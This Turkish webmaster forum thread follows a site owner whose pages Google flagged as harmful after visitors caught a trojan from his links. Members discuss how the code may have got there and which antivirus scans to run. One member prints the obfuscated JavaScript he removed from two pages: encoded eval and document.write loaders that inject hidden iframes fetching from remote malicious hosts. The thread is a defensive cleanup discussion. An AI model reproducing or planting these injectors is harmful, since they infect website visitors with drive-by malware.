İyinet'e Hoşgeldiniz!

Türkiye'nin En Eski Webmaster Forum'una Hemen Kayıt Olun!

Kayıt Ol!

Google sitemizi zararlı içerik barındırdığı için yasakladı

MéDicLiFé

0
İyinet Üyesi
Katılım
13 Kasım 2007
Mesajlar
802
Reaction score
0
Konum
Acil Servis
Sitede bazı zararlı kodlar varmış.
Nasıl girdi onlar ve çözümü nedir?
Yardımcı olacakların yardımlarını bekliyoruz acil olarak.

Google sözümü geri alıorum senden de:S
 

Tırtıl

0
İyinet Üyesi
Katılım
22 Ekim 2007
Mesajlar
615
Reaction score
0
Konum
Bursa
Sitenizde maalesef trojan var ve de ne yazık kii yedim onu...İlk tıkladıgımda kasperky açık modem kurma nedeniyle kapatmıştım ve de öyle unutmuşum.Ve de verdiginiz linklerin ilkine tıkladım ve trojanı yedik....
 

tiva

0
İyinet Üyesi
Katılım
20 Eylül 2003
Mesajlar
2,741
Reaction score
4
Sayfalarınızda zararlı kod var
 

MéDicLiFé

0
İyinet Üyesi
Katılım
13 Kasım 2007
Mesajlar
802
Reaction score
0
Konum
Acil Servis
Nasıl yani?
Peki ne yapmamız lazım şimdi?
Ve hepsinden önemlisi bu kod nasıl girdi?

Siteyi yapan kişinin koyma ihtimali nedir?
Ve çözüm yolları neler?

BU ARADA LİNKLERİ EDİTLİYORUM KİMSE TIKLAMASIN!
 

Senol

0
İyinet Üyesi
Onaylı Üye
Katılım
25 Haziran 2005
Mesajlar
4,856
Reaction score
1
Konum
Bursa
firefoxu şoka soktun valla bilgisayar yarım saat kendine gelemedi restart etmek zorunda kaldım inşallah format atmak zorun da kalmam

birde googleye kabahat buluyorsun daha kendi sitenin ne olduğunu bilmiyorsun.
 

MéDicLiFé

0
İyinet Üyesi
Katılım
13 Kasım 2007
Mesajlar
802
Reaction score
0
Konum
Acil Servis
Ya varya deli oldum şimdi...
arkadaşlar nedendir bu kodlar?
kim sokmuş olabilir ve çözümü nedir acil yardımlarınızı bekliyorum...

siteyi yaptırdığımız elemanın yapma ihtimali nedir?

ona göre hemen harekete geçelim...

Çözüm yolları ve alternatif yollar neler?
 

Tırtıl

0
İyinet Üyesi
Katılım
22 Ekim 2007
Mesajlar
615
Reaction score
0
Konum
Bursa
Gooogle boş konuşmaaaazzzzz.Allahtan kaspersky var bi taratacam şimdi inaşallah sorun çıkmaz.
 

MéDicLiFé

0
İyinet Üyesi
Katılım
13 Kasım 2007
Mesajlar
802
Reaction score
0
Konum
Acil Servis
Arkadaşlar konuyu okuyan arkadaşları gördüm ve zarar görenleride biliyorum 4 kişi girmiş.
Eğer isterseniz hemen AVG Profesyonel lisansım var. Sizlerle paylaşabilirim. Daha registire edilmedi üstelik. En azından hatamı telafi ederim.

Ama sizden ricam daha çok insan zarar görmesin nedir bunun sebebi ve çözümü anlatabilecek bilen biri yokmu?



Ve bizim için en önemlisi=> TUTTUĞUMUZ ELEMANIN BUNU YAPMA İHTİMALİ NEDİR?
 

Senol

0
İyinet Üyesi
Onaylı Üye
Katılım
25 Haziran 2005
Mesajlar
4,856
Reaction score
1
Konum
Bursa
bunun sebebi siten başka bir sitedeki datayı okumaya calışıyor acmaya calıştığı sayfadaki data da o sitede siteyi acmaya calışan kişilerin bilgisayarına zarar veriyor

anasayfanı bana bi yolla bakalım ne var ne yok
 

MéDicLiFé

0
İyinet Üyesi
Katılım
13 Kasım 2007
Mesajlar
802
Reaction score
0
Konum
Acil Servis
özelden yolladım.
konuyu ben editleyene kadar ilk bakanlar;

iyinet, tırtıl, tiva ve TrDownload

dilerseniz lisans gönderebilirim sizlere hemen antivirüs için. gerekirse yeni lisans alırım problem olmaz.

+

googledanda ösür dileris:p
 

iyinet

Root
Admin
Hosting Firması
Katılım
2 Eylül 2002
Mesajlar
5,028
Reaction score
66
Konum
Sakarya
özelden yolladım.
konuyu ben editleyene kadar ilk bakanlar;

iyinet, tırtıl, tiva ve TrDownload

dilerseniz lisans gönderebilirim sizlere hemen antivirüs için. gerekirse yeni lisans alırım problem olmaz.

+

googledanda ösür dileris:p

Ben sayfalara girmedim, Loi yi bekliyordum ama başka arkadaşlar girmiş sanırım.
Trojan yiyenler Kaspersky ile sistemlerini taratsınlar, Kaspersky yoksa 1 aylık deneme sürümünü indirebilirsiniz.
 

MéDicLiFé

0
İyinet Üyesi
Katılım
13 Kasım 2007
Mesajlar
802
Reaction score
0
Konum
Acil Servis
Siteyi dmozdanda sildim şimdi başkalarıda zarar görmesin diye...
arkadaşlar benim merak ettiğim 3 soru var.

1. bu kodun amacı nedir? nasıl zarar veriyor yani kullanıcılara hangi amaçla yazılmış?
2. bu kod siteye nasıl girer? siteyi yaptırdığımız kişinin sokma ihtimali nedir? ve hangi zihniyet ile sokmuş olabilir o yaptıysa...
3. bunun çözümü nedir?
 

tiva

0
İyinet Üyesi
Katılım
20 Eylül 2003
Mesajlar
2,741
Reaction score
4
Ve bizim için en önemlisi=> TUTTUĞUMUZ ELEMANIN BUNU YAPMA İHTİMALİ NEDİR?

Muhtemelen bu kişide farkında değildir, onun bilgisayarına bulaşmıştır, bu arkadaşı uyarırsanız iyi olur, diğer upload yapabildiği sitelerde de bu kodlar vardır.
 

iyinet

Root
Admin
Hosting Firması
Katılım
2 Eylül 2002
Mesajlar
5,028
Reaction score
66
Konum
Sakarya
Bence de Tiva nın dediği gibi o kişi de farkında değildir, ftp upload yaparken bulaşmış dosyaları farkında olmadan servera atmıştır.
Sanırım bu trojan kendini dosyaların içine inject ediyor ve sonra o sayfayı gezenlere başka siteden aldığı (iframe büyük ihtimalle) kodu bulaştırıyor.
Bunu neden yaparlar: botnet oluşturmak çin olabilir, reklam tıklamak için olabilir, ...
 

Tırtıl

0
İyinet Üyesi
Katılım
22 Ekim 2007
Mesajlar
615
Reaction score
0
Konum
Bursa
iyinet, tırtıl, tiva ve TrDownload

dilerseniz lisans gönderebilirim sizlere hemen antivirüs için. gerekirse yeni lisans alırım problem olmaz.

+

googledanda ösür dileris

Teklifin için teşekkür ederim arkadaşım ama kaspersky ile taratıyorum şimdi birazdan hallolur sanırım.Dilerim temizlersin siteni.Kolay gelsin.
 

Senol

0
İyinet Üyesi
Onaylı Üye
Katılım
25 Haziran 2005
Mesajlar
4,856
Reaction score
1
Konum
Bursa
arkadaşın sitesindeki sorun tarafımdan halledildi

sayfalarda aşağıdaki kodları buldum

index.php

PHP:
<script type="text/javascript">
document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0062\u0069\u0067\u0073\u0074\u006f\u0072\u0065\u0075\u0073\u002e\u0069\u006e\u0066\u006f\u002f\u0069\u006e\u0064\u0065\u0078\u002e\u0070\u0068\u0070\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0031\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0031\u0020\u0073\u0074\u0079\u006c\u0065\u003d\u0022\u0064\u0069\u0073\u0070\u006c\u0061\u0079\u003a\u006e\u006f\u006e\u0065\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e');
</script><!-- o --><!-- c --><script>eval(unescape("%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%64%30%66%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%74%72%61%66%66%75%72%6c%2e%72%75%2f%73%6c%69%76%3f%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%35%31%35%38%34%29%2b%27%66%38%38%62%61%39%5c%27%20%77%69%64%74%68%3d%34%31%36%20%68%65%69%67%68%74%3d%31%32%34%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29")); </script>


index2

<script language=JavaScript>function ockban(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,57,48,36,40,34,29,26,61,41,0,0,0,0,0,0,59,1,46,3,33,28,27,32,49,50,21,35,22,31,11,16,15,24,38,53,39,54,14,4,60,42,12,0,0,0,0,25,0,30,23,7,13,6,5,45,44,10,47,8,2,62,51,55,17,52,0,43,20,56,58,37,9,18,19);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){{w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(236^w&255);w>>=8;s-=2}else{s=6}}}eval(r);}}ockban('FL4GkVuRl0xRd5_RMe8I4V4GxBXSkVuK_eQ5l592Fv_DQRkHNC6Div_KARknlUQGxe8oxU8UZ09TPegnW5xRE782C@8TERQ5kiEDlYuGCK12zjXHDUkRWihTCR9GkyE4d5xDl@_Kl5uGAyEHe0gUMsdofMXIMTQoFjXHN@ZnFLk5QyQqQndUZzQ5fBkDQe6SEnXTQLxGxegnkLuTElQKJ7gGCiQ5VNdqCb45aUQGxi8IfC')</script><!-- 84.51.17.241 -->
 

MéDicLiFé

0
İyinet Üyesi
Katılım
13 Kasım 2007
Mesajlar
802
Reaction score
0
Konum
Acil Servis
Gerçekten çok teşekkür ederim. TrDownload yakından ilgilendi Allah razı olsun kendisinden.
Şimdi kontrol ediyorum başka sayfalardada aynı sorun varmı diye.
Bir daha aynı sorunla karşılaşırsam nasıl üstesinden gelebileceğimizide öğretti. Tekrar teşekkür ederim kendisine.
İçerikleri temizledikten sonra başvuru formunu dolduracağım hemen.
 

Senol

0
İyinet Üyesi
Onaylı Üye
Katılım
25 Haziran 2005
Mesajlar
4,856
Reaction score
1
Konum
Bursa
ben bişey yapmadım yahu iki tane javascript kodu vardı iki sayfada onları kaldırdım :)
arkadaşıda uyardım sitedeki diğer sayfalardada olabilir kontrol et onlarıda kaldır meğer ne büyük adammışım :D
 

Türkiye’nin ilk webmaster forum sitesi iyinet.com'da forum üyeleri tarafından yapılan tüm paylaşımlardan; Türk Ceza Kanunu’nun 20. Maddesinin, 5651 Sayılı Kanununun 4. maddesinin 2. fıkrasına göre, paylaşım yapan üyeler sorumludur.

Backlink ve Tanıtım Yazısı için iletişime geçmek için Skype Adresimiz: .cid.1580508955483fe5

Üst